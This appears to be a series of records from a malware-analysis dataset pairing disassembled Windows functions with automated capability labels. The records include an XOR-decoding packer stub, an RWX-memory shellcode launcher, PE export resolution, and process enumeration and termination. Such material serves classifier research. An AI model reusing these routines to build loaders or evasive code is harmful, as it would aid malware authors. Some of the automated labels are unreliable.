joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403220
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x144
push ebx
mov ebx, dword [esp + 0x14c]
push ebp
mov ebp, dword [esp + 0x15c]
push esi
push edi
mov esi, dword [ebp]
mov dword [esp + 0x10], 0
test ebx, ebx
je 0x4032ab
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4032ab
test esi, esi
je 0x403265
cmp esi, 0xffffffff
je 0x403265
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
lea eax, [esp + 0x14]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp], esi
je 0x4032f1
mov eax, dword [esp + 0x160]
test eax, eax
je 0x403294
mov ecx, dword [esp + 0x14]
and ecx, 0x10
cmp cl, 0x10
je 0x4032ab
jmp 0x4032a3
mov edx, dword [esp + 0x15c]
mov eax, dword [esp + 0x14]
test edx, eax
je 0x4032ab
mov dword [esp + 0x10], 1
test esi, esi
je 0x4032f1
cmp esi, 0xffffffff
je 0x4032f1
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x403328
mov eax, dword [esp + 0x160]
mov edi, dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
lea eax, [esp + 0x14]
push eax
push esi
je 0x4032fe
call edi
test eax, eax
je 0x4032f1
mov ecx, dword [esp + 0x14]
and ecx, 0x10
cmp cl, 0x10
jne 0x403328
lea edx, [esp + 0x14]
push edx
push esi
call edi
test eax, eax
jne 0x4032d9
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x144
ret
call edi
test eax, eax
je 0x4032f1
mov ebx, dword [esp + 0x15c]
test dword [esp + 0x14], ebx
jne 0x403328
lea ecx, [esp + 0x14]
push ecx
push esi
call edi
test eax, eax
jne 0x40330b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x144
ret
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
call fcn.00402ad0
mov edx, eax
lea edi, [esp + 0x44]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x144
ret

Function at 0x403390
Capabilities:
Query environment variable

Disassembly:
push ebp
push esi
push edi
push 0x104
call fcn.00402ad0
mov ebp, dword [esp + 0x18]
add esp, 4
mov edi, eax
push 0x104
push edi
push ebp
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
mov esi, eax
cmp esi, 0x104
jbe 0x4033e7
push ebx
push edi
call fcn.00402b60
push esi
mov ebx, esi
call fcn.00402ad0
add esp, 8
mov edi, eax
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
mov esi, eax
cmp esi, ebx
ja 0x4033be
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x4033f0
Capabilities:
Read .ini file

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x400
call fcn.00416cc3
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x40]
mov ecx, dword [esp + 0x28]
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x30]
push ebx
push 0x400
push esi
push ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
cmp eax, 0x3ff
jl 0x40345a
push esi
lea edi, [eax + 0x400]
call fcn.00416cec
push edi
call fcn.00416cc3
mov edx, dword [esp + 0x38]
add esp, 8
mov esi, eax
mov eax, dword [esp + 0x24]
push ebx
push edi
push esi
push ebp
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
dec edi
cmp eax, edi
jge 0x40342a
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x403476
push ecx
push esi
call fcn.00403d50
add esp, 8
mov ebx, eax
push esi
call fcn.00416cec
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x403570
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push esi
mov esi, dword [esp + 0x14]
test esi, esi
jne 0x403583
xor eax, eax
pop esi
add esp, 8
ret
push esi
call fcn.00403eb0
add esp, 4
test eax, eax
jne 0x403595
pop esi
add esp, 8
ret
mov eax, dword [esi]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push edi
mov dword [esp + 0x10], 0
jne 0x40360c
mov eax, dword [esp + 0x1c]
mov edi, dword [esi + 4]
cmp eax, ebx
mov dword [esp + 0x10], ebx
jle 0x40363e
mov ebp, dword [sym.imp.KERNEL32.DLL_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x4035f8
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x4035c8
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
pop edi
mov dword [esp + 0xc], 0
mov eax, dword [esp + 0xc]
pop ebp
pop ebx
pop esi
add esp, 8
ret
cmp eax, 2
jne 0x40363e
mov eax, dword [esp + 0x1c]
mov esi, dword [esi + 4]
cmp eax, ebx
mov dword [esp + 0x10], ebx
jle 0x40363e
lea edi, [esp + 0x2c]
lea ebx, [eax - 1]
mov eax, dword [edi]
mov edx, dword [esi]
mov ecx, dword [eax + 4]
add eax, 8
push ecx
push eax
mov ecx, esi
call dword [edx + 0x24]
add edi, 0xc
dec ebx
jne 0x403627
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret

Function at 0x407ab0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x407b16
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x407b16
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x407af7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret
Function at 0x407ea0
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x407ed8
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x408c10
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x408c59
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x4090d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x41d4e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00408c80
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00408d00
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00408d00
lea ecx, [esi + 0xc]
call fcn.00416f0d
lea ecx, [esi + 0x10]
call fcn.00416f0d
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.0040a290
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.0040a290
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.0040a290
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.00416f82
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00416f82
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x41c5f6
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x41c624
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
test eax, eax
je 0x41c642
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0041c55c
jmp 0x41c642
mov eax, dword [esi + 0x14]
test eax, eax
je 0x41c642
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0041c55c
test edi, edi
mov eax, edi
jne 0x41c62c
pop edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x423060
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x142c
call fcn.0040fce0
mov eax, dword [0x42dbf8]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x142c], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xffffff
mov eax, dword [ebp - 0x142c]
mov byte [eax + 0x1580], 0
lea ecx, [ebp - 0x414]
push ecx
push 0x400
lea edx, [ebp - 0x1418]
push edx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x4231e5
mov dword [ebp - 0x141c], 0
jmp 0x4230d3
mov eax, dword [ebp - 0x141c]
add eax, 1
mov dword [ebp - 0x141c], eax
mov ecx, dword [ebp - 0x414]
shr ecx, 2
cmp dword [ebp - 0x141c], ecx
jae 0x4231e5
mov edx, dword [ebp - 0x141c]
mov eax, dword [ebp + edx*4 - 0x1418]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1420], eax
cmp dword [ebp - 0x1420], 0
je 0x4231d3
lea ecx, [ebp - 0x1428]
push ecx
push 4
lea edx, [ebp - 0x1424]
push edx
mov eax, dword [ebp - 0x1420]
push eax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x4231d3
push 0x400
lea ecx, [ebp - 0x410]
push ecx
mov edx, dword [ebp - 0x1424]
push edx
mov eax, dword [ebp - 0x1420]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
mov dword [ebp - 0x418], 0
lea ecx, [ebp - 0x418]
push ecx
lea edx, [ebp - 0x410]
push edx
mov ecx, dword [ebp - 0x142c]
call fcn.00422990
movzx eax, al
test eax, eax
je 0x4231d3
cmp dword [ebp - 0x418], 0x34000
jne 0x4231d3
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x141c]
mov eax, dword [ebp + edx*4 - 0x1418]
cmp eax, dword [ebp - 4]
jae 0x4231ba
mov ecx, dword [ebp - 0x141c]
mov edx, dword [ebp + ecx*4 - 0x1418]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x141c]
mov ecx, dword [ebp + eax*4 - 0x1418]
push ecx
mov ecx, dword [ebp - 0x142c]
call fcn.00422940
mov edx, dword [ebp - 0x1420]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4230c4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 4], eax
jne 0x4231fd
mov eax, dword [ebp - 0x142c]
mov byte [eax + 0x1580], 1
cmp dword [ebp - 8], 4
jge 0x42320e
mov ecx, dword [ebp - 0x142c]
call fcn.00422cb0
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0040e454
mov esp, ebp
pop ebp
ret

Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..pdata
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x36d965a9
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..pdata_1
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x2cad0d55
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x410150
Capabilities:
Get file version info

Disassembly:
sub esp, 0x2e8
mov eax, dword [0x421188]
xor eax, esp
mov dword [esp + 0x2e4], eax
mov eax, dword [esp + 0x2ec]
push ebx
mov ebx, dword [esp + 0x2f4]
push ebp
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0xe8]
push edx
push 0
push eax
mov dword [esp + 0x28], 0x104
call dword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
test eax, eax
jne 0x4101a3
push str.QueryFullProcessImageName
call fcn.0040fe40
add esp, 4
mov ebp, dword [esp + 0x2fc]
test ebp, ebp
jne 0x4101c7
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x2e4]
xor ecx, esp
call fcn.00412dcf
add esp, 0x2e8
ret
push esi
push edi
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0xf0]
push ecx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0x410317
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004129a2
mov edi, eax
add esp, 4
test edi, edi
je 0x410317
mov eax, dword [esp + 0x18]
push edi
push esi
push eax
lea ecx, [esp + 0xf8]
push ecx
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x41030e
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x20]
push eax
push str.VarFileInfoTranslation
push edi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x41030e
cmp dword [esp + 0x14], 0
je 0x41030e
mov eax, dword [esp + 0x1c]
movzx ecx, word [eax + 2]
movzx edx, word [eax]
push ecx
push edx
lea eax, [esp + 0x2c]
push str.StringFileInfo_04X_04XFileDescription
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x2c]
push eax
push edi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x41030e
mov ecx, dword [esp + 0x10]
push 0x28
push ecx
call fcn.00401000
add esp, 8
test eax, eax
je 0x4102bb
lea esp, [esp]
mov edx, 0x7b
mov word [eax], dx
mov eax, dword [esp + 0x10]
push 0x28
push eax
call fcn.00401000
add esp, 8
test eax, eax
jne 0x4102a0
mov ecx, dword [esp + 0x10]
push 0x29
push ecx
call fcn.00401000
add esp, 8
test eax, eax
je 0x4102eb
mov edi, edi
mov edx, 0x7d
mov word [eax], dx
mov eax, dword [esp + 0x10]
push 0x29
push eax
call fcn.00401000
add esp, 8
test eax, eax
jne 0x4102d0
mov ecx, dword [esp + 0x10]
push ebp
push ecx
push ebx
call fcn.00412de9
xor edx, edx
push edi
mov word [ebx + ebp*2 - 2], dx
call fcn.00412dde
add esp, 0x10
mov eax, 1
jmp 0x410319
push edi
call fcn.00412dde
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x2f4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00412dcf
add esp, 0x2e8
ret
Function at 0x410340
Capabilities:
Terminate process

Disassembly:
sub esp, 0x208
mov eax, dword [0x421188]
xor eax, esp
mov dword [esp + 0x204], eax
mov eax, dword [esp + 0x20c]
push esi
push edi
push eax
xor edi, edi
push edi
push 0x401
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4103a0
lea ecx, [esp + 8]
push ecx
push edi
push esi
push str.SYSTEM
push edi
call fcn.0040ff60
add esp, 0x14
test eax, eax
jne 0x410399
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x20c]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.00412dcf
add esp, 0x208
ret

Function at 0x4103c0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
mov eax, dword [esp + 0x58]
push esi
push eax
call fcn.00412e33
push 0x44
lea ecx, [esp + 0x1c]
push 0
push ecx
mov esi, eax
call fcn.00412e90
add esp, 0x10
xor eax, eax
lea edx, [esp + 4]
push edx
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push 0
mov dword [esp + 0x3c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x410423
pop esi
add esp, 0x54
ret
mov ecx, dword [esp + 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 8]
push edx
call esi
mov eax, 1
pop esi
add esp, 0x54
ret

Function at 0x410660
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
mov eax, dword [esi + 0x3c]
mov eax, dword [eax + esi + 0x78]
mov ebx, dword [eax + esi + 0x20]
mov ebp, dword [eax + esi + 0x1c]
mov ecx, dword [eax + esi + 0x24]
add eax, esi
mov eax, dword [eax + 0x18]
push edi
add ecx, esi
add ebx, esi
add ebp, esi
xor edi, edi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
test eax, eax
jbe 0x4106d0
mov eax, dword [ebx + edi*4]
mov ecx, dword [esp + 0x1c]
add eax, esi
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4106c0
test dl, dl
je 0x4106bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4106c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4106a0
xor eax, eax
jmp 0x4106c5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4106d8
inc edi
cmp edi, dword [esp + 0x18]
jb 0x410695
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x10]
movzx edx, word [ecx + edi*2]
mov eax, dword [ebp + edx*4]
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4108c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push esi
push edi
call fcn.00410860
lea eax, [esp + 8]
push eax
push 0x409
push 0x378
xor esi, esi
push 0x22bf
mov dword [esp + 0x18], esi
call dword [0x4227f8]
mov edi, eax
add esp, 0x10
test edi, edi
je 0x410923
mov ecx, dword [esp + 8]
push 0x40
push 0x3000
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x410923
mov edx, dword [esp + 8]
push 0
push esi
push 0x47
push str._9_nU_DG__VmwhsEMl20S1zYDP89i4J_D4_qC85bLhmhTSj1_ruA_YUaiLE_df76Dh
push edx
push edi
call dword [0x4227f4]
add esp, 0x18
push esi
call dword [0x4227fc]
add esp, 4
pop edi
xor eax, eax
pop esi
pop ecx
ret
Function at 0x4120d0
Capabilities:
Enumerate processes
Get session user name

Disassembly:
mov eax, 0x1cb0
call fcn.00413670
mov eax, dword [0x421188]
xor eax, esp
mov dword [esp + 0x1cac], eax
push esi
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x1088]
push ecx
mov dword [esp + 0x14], 0x101
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [esp + 8], esi
cmp esi, 0xffffffff
jne 0x41213d
push str.CreateToolhelp32Snapshot__of_processes_
call fcn.0040fe40
add esp, 4
xor eax, eax
pop esi
mov ecx, dword [esp + 0x1cac]
xor ecx, esp
call fcn.00412dcf
add esp, 0x1cb0
ret
lea edx, [esp + 0x10]
push edx
push esi
mov dword [esp + 0x18], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x412180
push str.Process32First
call fcn.0040fe40
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [esp + 0x1cac]
xor ecx, esp
call fcn.00412dcf
add esp, 0x1cb0
ret
push ebx
push ebp
mov ecx, 0x4234d4
call fcn.00411b90
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
jmp 0x4121a0
push 0x7cc
lea eax, [esp + 0x14f0]
push 0
push eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14f4], 0x20
call fcn.00412e90
mov ecx, dword [esp + 0x2c]
add esp, 0xc
push ecx
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4122ea
mov ecx, dword [esp + 0x1cc0]
lea edx, [esp + 0x1290]
push edx
push 0
push esi
lea eax, [esp + 0x1098]
push eax
push ecx
call fcn.0040ff60
add esp, 0x14
test eax, eax
je 0x4122ea
lea edx, [esp + 0xc]
push edx
push esi
call fcn.00410110
push 0x3e8
lea eax, [esp + 0x14f4]
push eax
push esi
call fcn.00410150
add esp, 0x14
push esi
call ebp
mov eax, dword [esp + 0x20]
push eax
lea ecx, [esp + 0x24c]
push 0x41d554
push ecx
mov dword [esp + 0x250], eax
call ebx
add esp, 0xc
xor eax, eax
jmp 0x412260
movzx ecx, word [esp + eax + 0x3c]
mov word [esp + eax + 0x284], cx
add eax, 2
test cx, cx
jne 0x412260
xor eax, eax
jmp 0x412280
movzx ecx, word [esp + eax + 0x1290]
mov word [esp + eax + 0x486], cx
add eax, 2
test cx, cx
jne 0x412280
mov edx, dword [esp + 0xc]
shr edx, 0xa
push edx
lea eax, [esp + 0x68c]
push str._d_K
push eax
call ebx
add esp, 0xc
xor eax, eax
jmp 0x4122c0
movzx ecx, word [esp + eax + 0x14e8]
mov word [esp + eax + 0x88a], cx
add eax, 2
test cx, cx
jne 0x4122c0
lea ecx, [esp + 0x244]
push ecx
mov ecx, 0x4234d4
call fcn.00412060
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
push edx
push eax
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x4121a0
mov ecx, dword [esp + 0x10]
push ecx
call ebp
mov ecx, dword [esp + 0x1cb8]
pop ebp
pop ebx
pop esi
xor ecx, esp
mov eax, 1
call fcn.00412dcf
add esp, 0x1cb0
ret
Function at 0x412dcf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x421188]
jne 0x412dd9
repz ret
jmp fcn.0041550c

Function at 0x41a4c3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00416d4a
and dword [ebp - 4], 0
cmp dword [0x423ec4], 0
mov ebx, eax
jne 0x41a574
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41a625
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41e83c
push edi
call esi
test eax, eax
je 0x41a625
push eax
call fcn.00416cd8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423ec4], eax
call esi
push eax
call fcn.00416cd8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423ec8], eax
call esi
push eax
call fcn.00416cd8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423ecc], eax
call esi
push eax
call fcn.00416cd8
pop ecx
mov dword [0x423ed4], eax
test eax, eax
je 0x41a574
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00416cd8
pop ecx
mov dword [0x423ed0], eax
mov eax, dword [0x423ed0]
cmp eax, ebx
je 0x41a5cc
cmp dword [0x423ed4], ebx
je 0x41a5cc
push eax
call fcn.00416d53
push dword [0x423ed4]
mov esi, eax
call fcn.00416d53
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41a5cc
test edi, edi
je 0x41a5cc
call esi
test eax, eax
je 0x41a5c3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41a5c3
test byte [ebp - 0xc], 1
jne 0x41a5cc
or dword [ebp + 0x10], 0x200000
jmp 0x41a605
mov eax, dword [0x423ec8]
cmp eax, ebx
je 0x41a605
push eax
call fcn.00416d53
pop ecx
test eax, eax
je 0x41a605
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41a605
mov eax, dword [0x423ecc]
cmp eax, ebx
je 0x41a605
push eax
call fcn.00416d53
pop ecx
test eax, eax
je 0x41a605
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423ec4]
call fcn.00416d53
pop ecx
test eax, eax
je 0x41a625
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41a627
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret